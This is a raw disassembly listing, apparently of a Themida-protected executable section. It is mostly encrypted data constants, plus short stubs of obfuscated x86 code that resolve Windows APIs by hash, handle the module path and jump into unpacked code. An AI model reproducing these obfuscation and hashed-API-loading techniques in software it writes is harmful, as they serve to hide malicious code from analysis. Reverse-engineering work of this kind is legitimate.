		dd 17C7BE6Dh, 832F8C4Ah, 0E590FC2Bh, 3901EDE5h,	36h, 94995A31h
		dd 3FEB625Ah, 5AB1CC13h, 0EB1A4D9Eh, 0FBAB1304h, 8C4A17D2h
		dd 0CC64597Ah, 9399C820h, 0F1E7AA8Dh, 6790B851h, 0C1126E17h
		dd 6910D3FCh, 3C11h, 0AB136800h, 0ECE6B3FBh, 0E833191Fh
		dd 1F4751F1h, 5483DB87h, 784F176Dh, 0B0D4A513h,	0BD013045h
		dd 51F282DAh, 176E97FDh, 0FCC1126Eh, 734A10D3h,	488D8862h
		dd 166DC571h, 45744A7Ch, 18BCD95Eh, 0E5C51F1h, 0FFFFFD2Ah
		dd 0E7F7D965h, 147D51F1h, 9B371466h, 0A46C7420h, 0F1E7B89Eh
		dd 75A4CC51h, 0F1E84B31h, 0BDFED851h, 0EBD40411h, 4B31373Fh
		dd 5F51F1E8h, 9DBDE137h, 6431871Ch, 0CC1E4D6Eh,	0AA5C768Eh
		dd 8FE79328h, 0F0E2AFF7h, 0E82F151Bh, 1B4351F1h, 507FD783h
		dd 4D706340h, 7B71FFBh,	5AD6155Bh, 698B1227h, 9AB3B229h
		dd 0DEABBC97h, 1E1409F5h, 10DAFF5h, 6B71C69h, 6DD3025Ah
		dd 21Ch, 0E7F6D984h, 107E51F1h,	0E7C4AAB0h, 0FBD851F1h
		dd 0DE36E2DDh, 6066AE46h, 57E53415h, 8C69BBE3h,	652D7546h
		dd 615795Fh, 36658D58h,	0A914BFCCh, 0F6D78A61h,	5A9CCA34h
		dd 1FB4C12Bh, 78E6F29Eh, 13BE009h, 0AC443164h, 28E75E64h
		dd 0F51D5DFAh, 96185D17h, 88968038h, 0D5Ah, 80D2EDEFh
		dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
		dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh,	0C3A5B41h
		dd 0D746F58h, 728E4A17h, 0BB53A096h, 62912984h,	903C7F57h
		dd 0D4BAC088h, 0E851F242h, 43240A10h, 103851F2h, 0D13F4978h
		dd 1ADFE52Dh, 0EC57EB88h, 0B8EA5905h, 9A326CF2h, 0A1B38A52h
		dd 31B440E8h, 0D2DD0Ch,	468C69BBh, 95D9BFC5h, 0C5ED580Ch
		dd 6274812Dh, 0E18D2EA4h, 3945F189h, 0D5DB23CBh, 5DFFB2AEh
		dd 92AAEBC2h, 0CFC0F18Bh, 16F41CA0h, 38909868h,	0B3919F89h
		dd 9600000Ch, 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h
		dd 0CF085A63h, 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh
		dd 0E8EE7682h, 580C3B02h, 12B41B16h, 299642C4h,	577C4991h
		dd 3362BA66h, 0F3F9C1C9h, 51F1E80Dh, 0C0CAF921h, 9966AE52h
		dd 484E7D3Ch, 0E5F02F42h, 23759D57h, 0D92B9046h, 0AB2A8FFDh
		dd 0E891394Fh, 57EF6657h, 0A9AF77BFh, 5806E1C3h, 7A80AFD7h
		dd 26A474h, 993D0A5Eh, 476FF322h, 66A032FFh, 64B64E6Bh
		dd 0D8BEC48Ch, 0EC5E2125h, 488A95C4h, 1CBAC773h, 79E7F39Fh
		dd 60878DD5h, 74641442h, 0ECE1159Dh, 0D908F568h, 394F2D55h
		dd 0CC327B4Dh, 0BF8D4E2h, 8B510000h, 0CE05E234h, 12C09DEFh
		dd 5B7A57A9h, 0A82F0C5Eh, 2E8AC315h, 16685582h,	0CF219839h
		dd 87D9E6F2h, 3D8F2CAAh, 0BDA3A931h, 0D1580C3Bh, 0C4126FD6h
		dd 0F6E2AFF7h, 24309AC9h, 0BCC20AB6h, 57E5E7C9h, 1BE1AF7h
		dd 993A1769h, 0BF57626Fh, 9227AA77h, 5C765363h,	0E79328AAh
		dd 0ECA5F78Fh, 0B1F9A513h, 9AC9F2E4h, 34178E94h, 0F4CB57E5h
		dd 7CE7A23h, 911B5BB2h,	0BEE66A99h, 57EACC12h, 0D3F55806h
		dd 81491CB7h, 7FB5F8D9h, 0AD000000h, 8C6FD7D6h,	1A495169h
		dd 0FCC11233h, 2D904350h, 0ABB17981h, 51F1E7C5h, 7782B1D9h
		dd 0A2AF5B5Eh, 0BD00D731h, 89F7D325h, 0D4979DE5h, 0A257E5ECh
		dd 32F69C7Ah, 39233EABh, 0B2D2Bh, 0FFC01C00h
		dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
		dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h,	3D886E74h
		dd 0A19C580Ch, 8E4A173Ah, 0FE2D8531h, 8BDDE0F3h, 5BADh
		dd 0C1120400h, 1FECB4FCh, 25A06B9h, 0F1E7967Ch,	5382AA51h
		dd 0BF6FDDE9h, 37FA7177h, 83057E5h, 0AB09722Ah,	0C3D1BB3Eh
		dd 0AC2h, 186A5587h, 0D325983Bh, 8DDFDCF6h, 429425B0h
		dd 0F94B7265h, 1FB8F8C0h, 626F4C9Eh, 0B0280557h, 0F6E0BD0Fh
		dd 0DF6773C5h, 0C3CF3D9h, 0A50C0758h, 4BF7C412h, 7723983Eh
		dd 940F4B5Fh, 0FEEDEDD1h, 2372Dh, 49D14400h, 0A62D8EFCh
		dd 31377F17h, 57E501E6h, 0BD00D7B4h, 666CB911h,	0B951A955h
		dd 0CC3FC418h, 9D0BAB7Dh, 6CA3A9F1h, 225190CCh,	0D4424EFAh
		dd 11DEE42Ch, 0E357A64Eh, 30A673BBh, 0EBAFFD6h,	9D61EB6h
		dd 0B2C2F1C8h, 0D10501D5h, 327452EAh, 0F3EE7D2h, 0A241725h
		dd 0B7250000h, 0FAD9B608h, 3E9471C3h, 874E2B7Dh, 0D403E032h
		dd 5A5E97E9h, 0EA3C8156h, 0A3F5C40Dh, 5BAD12C6h, 1163587Eh
		dd 91777D05h, 0A5580C3Dh, 4F1743AAh, 0F1E86349h, 3B9A7751h
		dd 0ACB7E67Eh, 0FAE0E627h, 8751F1E7h, 6AC26E51h, 38E47CA4h
		dd 0CA12BE2Ch, 0EB2D26C4h, 2A729A57h, 0F345745Dh, 0B6FEBB16h
		dd 0DF9906DFh, 74C14023h, 0C02A5962h, 529A46B4h, 0A41BBD8Ah
		dd 0D3240E4Dh, 3E6DD4FFh, 0FF9263FAh, 69B1D95Dh, 0D002D9A1h
		dd 1D59316Ch, 0AD5B41C7h, 476F5E20h, 0F5C40D18h, 0D4FECBA3h
		dd 24ADB8E7h, 0FADCE995h, 953CCA0Ch, 88E08C24h,	739E12F0h
		dd 0CDB73890h, 969BFh, 0C3FCE000h, 7E3F9471h, 38834F2Ch
		dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h
		dd 39166857h, 0C0CC1E9Dh, 3E4C3238h, 6560580Ch,	6E6CB0FEh
		dd 0D351F1E8h, 3F9CA67Dh, 0BA66597Fh, 8D040B62h, 672375A4h
		dd 8FEF5D77h, 0F23BA389h, 0F9DAB751h, 4C942CC4h, 0E55AAF46h
		dd 0B5FD2557h, 51B720EDh, 6F9E3685h, 0FB4D6E64h, 0C50DB11Fh
		dd 32DEDFF8h, 9FA5ABDAh, 5DFB2413h, 26F33B63h, 0DCB90BB0h
		dd 0D7E3C1FAh, 9238941Dh, 8D89AA8h, 6B710000h, 0AE250254h
		dd 0F2E0BD0Fh, 3B9A77C9h, 884F2C7Eh, 0EAAE335h,	368835A2h
		dd 0EF417859h, 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580C3Eh
		dd 0F7D98FF6h, 8151F1E7h, 9926B8AAh, 204F9151h,	0A8FAC115h
		dd 6AB25ECCh, 273FC693h, 3A691C4Bh, 4FC32E34h, 0A9D157E6h
		dd 0AD939961h, 0C1580730h, 82B4A1DAh, 13ABF61Fh, 7DAC11C6h
		dd 0DC2EAA77h, 7278C0F9h, 5807188Ch, 8EE078A0h,	509827B1h
		dd 3D6C4F83h, 850C5D3h,	26FD0000h, 0E754FEFFh, 71588783h
		dd 34894A17h, 2C8DFB05h, 44755CAAh, 0FCA84098h,	0EDC40CA4h
		dd 0D1E74AFAh, 3A406FE4h, 0E537E934h, 478FB757h, 57478E70h
		dd 1F4E4ED6h, 0DFE5ADB5h, 58068CF9h, 0A506260Dh, 0D18F53DBh
		dd 6FB4E239h, 0BC552495h, 7467498Dh, 0E6EC5806h, 0BB1C29D5h
		dd 1C405602h, 92B47B7Eh, 658ADBF0h, 0CD4F8D9h, 6802006h
		dd 484D3458h, 27EB1939h, 0D83E6D05h, 182h, 0F9C612EFh
		dd 6991404Dh, 0D8F98312h, 9D898AE1h, 0D8E59129h, 92400DFEh
		dd 62BDA329h, 0F9D151F2h, 0F2630DF3h, 61F92151h, 0C8101DC9h
		dd 10C8A5F7h, 33FB03AFh, 0F263472Dh, 0EB335B51h, 0F262FFE5h
		dd 0BCEB1351h, 4F9747B2h, 0F2631B49h, 5F652D51h, 51F26479h
		dd 43EFCC06h, 0B0FD25EBh, 94EC9821h, 0DB9E165h,	39E5D600h
		dd 6814A52Ch, 3DCC8EF2h, 0F2645137h, 0A53D6551h, 182C6E10h
		dd 0D0ADFFC0h, 0A26FB708h, 0F05A8936h, 0F264C0AAh, 3F5BFD51h
		dd 7E50330Ah, 7D056311h, 2A95434Eh, 0FEBD15E2h,	0BBCBFA52h
		dd 82CA74DFh, 0F2C17E7Ch, 0DE8AB251h, 67B900D1h, 0C672478Ah
		dd 0AF0F6BEh, 1E51F2C2h, 1ABCC7F6h, 0C205EBF1h,	0F11951F2h
		dd 0B658AD59h, 48716094h, 1B819F6h, 5EBF1B9h, 1951F2C2h
		dd 4C58C2F1h, 1DEA32DEh, 0CED403BAh, 21983906h,	0E32BAEF2h
		dd 517957E5h, 0AAF22FFh, 82E7525Eh, 67BF6B50h, 0F2BF87CFh
		dd 0D62EDADFh, 0F6F0EF7Fh, 0C3B5D67h, 603CEC8h,	0AAB07858h
		dd 580603C4h, 0FD81B0D8h, 0B71C29D5h, 8B4D5A06h, 7A808834h
		dd 58060394h, 6ACE80A8h, 0DE34C928h, 42A1016h, 163E5806h
		dd 3FF595E7h, 0F8D52792h, 2834E0D9h, 7A6066BAh,	7580604h
		dd 0FD25EBCEh, 10171D65h, 665DF939h, 3D14EC3Eh,	4F2E5D53h
		dd 99A4D3D2h, 572F8138h, 1CBB4D8Ah, 55D09A1h, 0B20DCBD6h
		dd 0A513A760h, 0D0ABB1F9h, 3C57E5EDh, 0EE886E74h, 749C5805h
		dd 0ED99C145h, 141AF3E0h, 5805EF2Eh, 0C7415B42h, 0B7542F20h
		dd 7C35871Fh, 8B46AB13h, 0C8F7E12Eh, 0E42CC41Ch, 50FCBF17h
		dd 942C8F43h, 0E860464Ch, 4C7451F1h, 8B6DB31Dh,	9651F1E8h
		dd 0CF2F8C0h, 2051F1E8h, 0DB77C9F8h, 0EDF1A5C0h, 2C59FEh
		dd 17700000h, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D0EDEAB7h
		dd 0BF137A1h, 5051F1E8h, 7B58ECAEh, 0B4DAF042h,	7651F10Ch
		dd 0FFFF9B28h, 0C4127FFFh, 0F4E2AFF7h, 94C31BC7h, 13CAB3ADh
		dd 7D834BABh, 51F1E797h, 17FD83ABh, 0A451F1E8h,	87DF8B34h
		dd 874C99C1h, 9A328A36h, 0B1540D71h, 1EDE5C4h, 4F5Ah, 0AB137100h
		dd 1117D2FBh, 51F1E82Bh, 17EE173Fh, 9968C840h, 9FD7381Ah
		dd 0A54B56BDh, 1A204FE7h, 494F1771h, 51F1E863h,	15204F77h
		dd 0E0B7FFBEh, 7F56F17Bh, 0D711E33Ah, 4BE3D8FAh, 6910351Ch
		dd 7A8C4A17h, 20CC6459h, 248D99C8h, 0E4000000h,	0D2FBAB13h
		dd 50824F17h, 12F83C6Bh, 3B51F1E8h, 4F17ACD5h, 7D2F6478h
		dd 2D5C2944h, 0FCC11246h, 126910D3h, 474FFBC0h,	32615E7Ah
		dd 0F1E808EEh, 0EFAB4D51h, 0EC3E7D55h, 0F1176DD6h, 8957A551h
		dd 8FFFFFF3h, 0AC11C2h,	179279A8h, 0E863494Fh, 4F7751F1h
		dd 0FFBE1520h, 0BB63D1ADh, 1BAE6D73h, 3C6457E5h, 0FB684A90h
		dd 51735805h, 0DACB9A31h, 0CB93F8D9h, 602DFC5h,	9CCBF358h
		dd 736h, 1114D00h, 68000000h, 203AA513h, 0E4CAD0A2h, 0F851F224h
		dd 57D79D0h, 8E5BA33Bh,	73CB7744h, 0E9383E44h, 0BF57E619h
		dd 0CE3EB97h, 16CC822Bh, 0EAA6F7A3h, 609BA7FEh,	0D4FF0A39h
		dd 658197E9h, 535806E7h, 0BA6EA7Ch, 56853027h, 0EA328D4Bh
		dd 4F55B41Dh, 5806F769h, 11BD557Dh, 9D7A8AB9h, 0D0D8843Bh
		dd 0F8DD2F9h, 97DFF0C1h, 796AB91h, 6897BF58h, 0F5CB811Ch
		dd 610DAE28h, 0E224B209h, 0D5AB7BC5h, 0FE3654A6h, 0B693E5DAh
		dd 0CAEFE620h, 3A9C6732h, 0E6EBB681h, 0B81A27D3h, 3F235703h
		dd 9AFE9E03h, 4D7249F8h, 52969E8Ah, 0E6F0FB2Ah,	0B13D34D5h
		dd 0FF6DE5B4h, 914Ah, 0A8136100h, 4F17D5FEh, 0F1E86349h
		dd 204F7751h, 0E831141Ah, 0EE5451F1h, 0CB6E17C5h, 0C412958Bh
		dd 0CAB3CEF7h, 303CAB13h, 0C4DCB188h, 0D8BB44Ch, 0E5C4B154h
		dd 305A01EDh, 71000000h, 0D2FBAB13h, 0E82B1117h, 173F51F1h
		dd 176E17EEh, 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0D4E9EAB7h
		dd 4E83D028h, 10553C6Bh, 1D1169h, 13680000h, 17D2FBABh
		dd 0F1E82B11h, 0C5EE5451h, 0C1126E17h, 4A10D3FCh, 0BB67567Dh
		dd 174D3463h, 1308D4Ah,	0FFFF66F5h, 0C4124CFFh,	76434BF7h
		dd 5CB4605Dh, 7B4222Dh,	3E15DDB5h, 85A36CDEh, 0B79D2308h
		dd 0CB51F2BFh, 0FC6A74A3h, 1531DC95h, 3ED6ECDAh, 0C45DF0F6h
		dd 0A3CB57E5h, 0BC18EFF7h, 0ED4755Ch, 77599DCCh, 825806CEh
		dd 0BCA92260h, 42F8D907h, 2Dh, 0F9A51359h, 2E8ABB1h, 8EB657E5h
		dd 2BA9CE2h, 0A3C55806h, 0D679ECE7h, 1DE5F8D9h,	60F3117h
		dd 70684558h, 2288B74Fh, 0E8h, 0F7C41239h, 757B434Bh, 51F1E78Fh
		dd 96B2BCA3h, 91191333h, 18BFCAF9h, 0EAECF9A5h,	501D25D1h
		dd 7F8C3881h, 63BB6752h, 45919CCBh, 0BDDAC0C6h,	0C6EE51F2h
		dd 0CB635A79h, 0FCCAA179h, 0C0A6AC94h, 0D451F25Bh, 27AF55ACh
		dd 0C5714A8Ch, 62A6D56Dh, 51F1EC24h, 0E4368551h, 40ECCF07h
		dd 0D21AC634h, 0E53E29CCh, 0E2D0B757h, 0E2BEC308h, 2A1B70Eh
		dd 47A7FF40h, 13815DAFh, 0E14C236Bh, 0F83A8233h, 4B515786h
		dd 5DFBB7C8h, 0DEA6EE16h, 972A1016h, 163E5E1Dh,	0C2FBDCE7h
		dd 0BA449370h, 4312BA51h, 0E9C75FD8h, 389381DBh, 43AAB8A2h
		dd 6000002h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh, 0E4C113A6h
		dd 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h,	44775F3Ch
		dd 585EE6F2h, 580C4572h, 12248B86h, 0C9A6F8C5h,	0A35CAE0Dh
		dd 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch, 0E7A3C558h
		dd 5F017B52h, 0A3A503E0h, 6F5D0874h, 3401F8D9h,	156D19A2h
		dd 0D880E6h, 12970000h,	3E4BF7C4h, 886E7499h, 9C51F1E8h
		dd 0C794DC74h, 0AD05B10Ch, 90CE147Eh, 0BD51F1ECh, 7350A219h
		dd 43105863h, 94FE2D90h, 0D8BEC48Ch, 0EC51F1ECh, 1D8B95C4h
		dd 80232971h, 8C57E53Eh, 89469B5h, 7BAABF0Ah, 0A57DCFF7h
		dd 6FF1D7DDh, 7D835806h, 58066F97h, 95BD83ABh, 83EE5C66h
		dd 2586D167h, 9DE57DA9h, 0FB017397h, 93DB035Dh,	8BED11C6h
		dd 67C568Ah, 0DB050635h, 31C9BE2Bh, 3DFDE3E9h, 0E9115E1Ch
		dd 0B522FF51h, 0E2A42A08h, 3ED3894h, 145F5h, 0E7D80400h
		dd 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh, 357B3D76h
		dd 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h, 4670565Ch
		dd 8984580Ch, 43C51222h, 4A922A95h, 3261587Dh, 2A914522h
		dd 40171FD8h, 5B6A0F99h, 0BDC8F739h, 0E9F6A219h, 0A47CCEEDh
		dd 2FDC72CDh, 98C7A259h, 2870208Eh, 0E5448B22h,	91D90157h
		dd 0E6D7FCC9h, 0A8BE23Ah, 0AD82EB65h, 0EEE8F322h, 389E7BCDh
		dd 1AE7CDD3h, 23FB5806h, 61B371Dh, 8B234B58h, 0DDE3ABF3h
		dd 58061AF7h, 1A9D8389h, 89B15806h, 26C9BC3h, 90D888F6h
		dd 0FF5F048Ah, 5230585Dh, 3890C286h, 8F27351Fh,	0BA000000h
		dd 6E4B9D22h, 29065865h, 0E3C012A9h, 9875C7F2h,	0F32C7E3Fh
		dd 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h, 0F8C313F0h, 0C129AA6h
		dd 580C4726h, 13D83F3Ah, 0ABB1F9A5h, 57EB2C29h,	0EAB26F3h
		dd 87335BDFh, 0D5F5C7Ah, 81676D35h, 95580C2Bh, 0A3333E6Dh
		dd 0E9266C18h, 0AB157D9Eh, 0E5F10B47h, 16C18ED6h, 74A3FBA7h
		dd 6C4F8764h, 9722B3C0h, 56F496EBh, 3183389Eh, 76478C59h
		dd 219A3C47h, 32966D75h, 92C3EF0Ch, 3A6B2E1h, 0FD000000h
		dd 0CA127DE4h, 9A3C49F5h, 70687521h, 3B96A34Fh,	12C5D27Eh
		dd 0E5F2FFABh, 0B61F2CD8h, 884A5703h, 597A8733h
		db 64h,	0B8h, 33h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	0CE3h
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	70E37880h
		pop	edx
		and	edx, 36BA4DF4h
		add	edx, 0D577FD52h
		mov	eax, edx
		pop	edx
		push	2EE2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	ebx
		mov	eax, 61A605Ch
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+6141A59h], 47h
		push	0CF381725h
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+6141DB5h]
		push	eax
		push	104h
		call	ebx
		mov	byte ptr [ebp+6141A59h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+6141145h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	[ebp+61A43A4h],	eax
		cmp	dword ptr [ebp+6142309h], 0
		jz	loc_5AED34
		mov	ebx, [ebp+61410C1h]
		jmp	loc_5AED39
; ---------------------------------------------------------------------------


loc_5AED34:				; CODE XREF: Themida_:005AED23j
		mov	ebx, 0


loc_5AED39:				; CODE XREF: Themida_:005AED2Fj
		push	100h
		lea	esi, [ebp+61A43A8h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6140625h]
		lea	esi, [ebp+61A43A8h]
		add	esi, eax
		jmp	loc_5AED5A
; ---------------------------------------------------------------------------


loc_5AED59:				; CODE XREF: Themida_:005AED66j
		dec	esi


loc_5AED5A:				; CODE XREF: Themida_:005AED54j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5AED6C
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5AED59


loc_5AED6C:				; CODE XREF: Themida_:005AED5Dj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+61A43A8h]
		push	eax
		call	dword ptr [ebp+61A43A4h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BCh
		dd 20659C5h, 0C67A5EEFh, 101D1539h, 0AE2BF3DBh,	0EF4A6CC7h
		dd 840B7C6Ch, 844A2922h, 7B6C84C1h, 0E81A653Eh,	5, 78376319h
		dd 816657E1h, 5808E3E3h, 0FBB70F5Eh, 6E0EC681h,	0B8660000h
		dd 5E683425h, 0BF00001Bh, 533F0D67h, 28F0F59h, 8B000000h
		dd 66168BDFh, 9959DF81h, 3BC2EA81h, 73BF7710h, 810239F3h
		dd 886857F2h, 4B36B877h, 0EA814B18h, 13D50BD5h,	0B70F1689h
		dd 0CAEE81D8h, 8123F780h, 0F780C6C6h, 0E983F823h, 20850F01h
		dd 0E9000000h, 7, 0A0377BAAh, 0E941B011h, 1Eh, 817BCC00h
		dd 0AEF9BCADh, 5C03A336h, 0E91E9B98h, 0FFFFFF9Dh, 88CEDF62h
		dd 97041AE4h, 8D8D0BBCh, 61A6318h, 6398529h, 8D890614h
		dd 6143229h, 31D5BD8Bh,	85C70614h, 614064Dh, 70D4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0E2C35040h, 8988BA2Eh
		dd 142B0D8Dh, 7185C706h, 61426h, 8B000000h, 1B5FFC6h, 6A061416h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 59BFC355h, 1125E359h, 0A3882343h,	2675958Bh
		dd 95FF0614h, 6142361h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0E7C35040h, 9D29DEB9h, 6140F79h, 95FF006Ah
		dd 6141169h, 3EEBC08Bh,	0B31CF4D4h, 1490230Bh, 77FAAFD3h
		dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0CBE3D7C2h, 0CF28DCA9h
		dd 0DC19B30Ah, 0A7D3CC78h, 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h
		dd 0C1E2A608h, 0B763997Eh, 6E83B49h, 3D000000h,	0D4B504F0h
		dd 0E4F0816Bh, 5E2226C2h, 262D9D89h, 0C6810614h, 67A3h
		dd 33C2BF0Fh, 3334FFDBh, 1E8A0Fh, 12E80000h
		db 3 dup(0)
byte_5AEF6B	db 9			; DATA XREF: Themida_:00549AFCo
		dd 0C1AE4AB8h, 6C407212h, 567C11Dh, 21A476D1h, 0F9B531AAh
		dd 5806142Ah, 6860F59h,	23000000h, 14346585h, 0FCF18106h
		dd 895DCB3Eh, 140F1D85h, 0FEF18106h, 0E965B253h, 6, 0C524DB26h
		dd 0E981294Ah, 1E020F7Ch, 2E8D858Bh, 0C890614h,	68D0811Eh
		dd 893ED791h, 142D2985h, 6FEB8106h, 8B3CB07Dh, 140E1185h
		dd 6BC38106h, 663CB07Dh, 2E8DA81h, 990CFB81h, 850FFFFFh
		dd 0FFFFFF71h, 0A499D89h, 14E80614h, 4000000h, 4557F24Ah
		dd 0C62586A9h, 0C4E7F331h, 65A665D7h, 0E9B981CFh, 0Ch
		dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 68E0F59h, 8B000000h
		dd 141CFD9Dh, 0F4C18106h, 0E900006Eh, 7, 0C83402EAh, 68E5B0B5h
		dd 1B97h, 0A1858Bh, 8B5F0614h, 14322D95h, 8B318B06h, 18C681D9h
		dd 8138F028h, 5AE92AD8h, 80C68118h, 8B4BA701h, 7DC681DEh
		dd 0F4D0AC4h, 683h, 919D8B00h, 89061423h, 8ABB6631h, 4E983E0h
		dd 0A51B589h, 0EF810614h, 1, 0FFBB850Fh, 0E9F8FFFFh, 8
		dd 12FF1F1Ch, 0
; ---------------------------------------------------------------------------
		jmp	loc_5AF539
; ---------------------------------------------------------------------------
		db 0D8h, 4, 0BBh
		dd 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h,	9A7114Ah
		dd 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h, 4C442A30h
		dd 5D58580Ch, 884A17F6h, 0CD655A7Eh, 8F9AC921h,	0BBC87447h
		dd 8259A11Ch, 12CB983Eh, 7383B280h, 0CF7B4096h,	13F9FFC7h
		dd 2751F247h, 11C5D0FFh, 2EDAE1F5h, 7D90A417h, 14AC7014h
		dd 4CBDB5BDh, 32CA126Ah, 0A45A7986h, 3CB3A752h,	28D46C3Bh
		dd 0F80C4EB2h, 0AE8BDDDEh, 804D952Ah, 60B86455h, 5CD2BD09h
		dd 588739E7h, 2FA37048h, 5988E08Ch, 89358A4Eh, 0B864557Ch
		dd 91400D63h, 0F5247C28h, 8B4DE7A3h, 0D105E234h, 0D5A2EAh
		dd 0DA208AB9h, 51F29FF7h, 0A8235F73h, 0FEED39BDh, 0EDD3D9A1h
		dd 151F2ABh, 3944AAD9h,	5B000000h, 4BF7C412h, 0F1E82105h
		dd 0CF8B9F51h, 0EDF191D4h, 16DFEh, 12840000h, 4350FCC1h
		dd 74812D90h, 36AC5861h, 577CB0D2h, 9F371466h, 0E4FDD41Ch
		dd 0A30EFDBCh, 9A536392h, 4CF8C512h, 7D29943Fh,	51EBA70Bh
		dd 8E53786h, 3441EDCEh,	0EA711D9Eh, 64118AC8h, 0BAFEEDEFh
		dd 83h,	0F8C512D1h, 6177444Ch, 0E18D2CA9h, 0ED45F189h
		dd 0E71FB3BEh, 0C921CDF0h, 0F70F8531h, 0E843292Fh, 0FAC651F1h
		dd 97609758h, 6392BA80h, 1CBB7111h, 8B9159A1h, 51F22FA5h
		dd 2F3A91B9h, 0AE76CCDBh, 0BA97A7D6h, 0E7F4A01Dh, 0FBC016EEh
		dd 0FA9227AEh, 0E5A5C74Eh, 0EDB587EEh, 4F97FEh,	12AE0000h
		dd 0E3B0F8C5h, 0C820CCEFh, 305F5A7Bh, 0A01FB9C6h, 0BEDCC0F4h
		dd 0A51ABE8Bh, 8254A1F9h, 0D8FF0A39h, 12DA93E5h, 0A50FCC1h
		dd 51F1E827h, 0E69227AEh, 14C0FFD9h, 0BD7D1DBFh, 69CE5733h
		dd 961F9E8h, 273E55F5h,	0D7FEEDEAh, 1, 0FBC012EEh, 5B7A474Fh
		dd 0E7C2A8AEh, 0AED651F1h, 0E3126A16h, 0CF08FED8h, 0E852383Eh
		dd 3E6651F1h, 0D620EA6h, 0BD152F6Bh, 62D0ACFEh,	0E6AE76BEh
		dd 0F1E7FAE0h, 0A5310E51h, 0B4F7E16h, 57E502F4h, 8E96426Ah
		dd 2DAC0C6h, 0C6EE5806h, 714A8C97h, 2794421Fh, 0F9C612DFh
		dd 8B5860CAh, 0B7C4704Bh, 98F09C1Fh, 0A98DD100h, 0B580602h
		dd 8A2FA673h, 0B706D1DEh, 0EC1BB30Bh, 7C49F89Ah, 2A356455h
		dd 407D5AACh, 5D7956A8h, 0AA165B9Fh, 89214681h,	0B506D0DDh
		dd 17339709h, 0FAC115E2h, 0A516C0CBh, 0CF501553h, 1AEF8D9h
		dd 0C5000001h, 0B1F9A513h, 20D21DAh, 60B7B0EBh,	82CDB6F4h
		dd 0E9EF1E58h, 0E5B5ACE3h, 8E3A6257h, 14665581h, 701C9F37h
		dd 9C487363h, 7084C62Ah, 0C5035566h, 0F8D923A0h, 0AF0F6BEh
		dd 1E5806C2h, 4061C7F6h, 78000000h, 0B0F8A613h,	0F1E7E4AAh
		dd 686936D1h, 0ECCD0451h, 651139BDh, 0F1E8391Fh, 0F999BDD1h
		dd 0AA5A7B48h, 8FE79328h, 0C4F34BF7h, 5DA54DBAh, 0F1E89157h
		dd 0F53D6551h, 0E211AA28h, 7EF4D2h, 134B0000h, 0ABB1F9A5h
		dd 57E510F0h, 0BDCA769Eh, 835AA219h, 4CA57A44h,	161C648Ch
		dd 58064330h, 0DDED1C44h, 39E5D600h, 64412F3h, 0C88A6E58h
		dd 0C719A234h, 89D17DEBh, 0E5F016BCh, 38D028D4h, 69547F8Ch
		dd 9ECD65BDh, 0A8E79298h, 4D755DFFh, 794294A1h,	0B4D678CDh
		dd 1FB61381h, 0F2E1EE9Ah, 539B33CBh, 0A613BE8Bh, 0D883377h
		dd 3916641Ah, 1E762299h, 855C3486h, 65B7EA5Ah, 0A58CBB0Ah
		dd 0B1F9A513h, 0EB4D00ABh, 0BA668E57h, 409229ADh, 9C487363h
		dd 0AEE1FD56h, 0F793F74Ah, 0DA22993Dh, 0F05D0703h, 0D028D4E5h
		dd 13939579h, 0DFF7D4E4h, 0B22330DCh, 64065B07h, 3EC80E26h
		dd 55646D97h, 0F6D325BDh, 0C693DBE0h, 0DFDAF711h, 14439B47h
		dd 39CAAh, 0E4F30000h, 0F5CA127Dh, 219A3C49h, 4F706875h
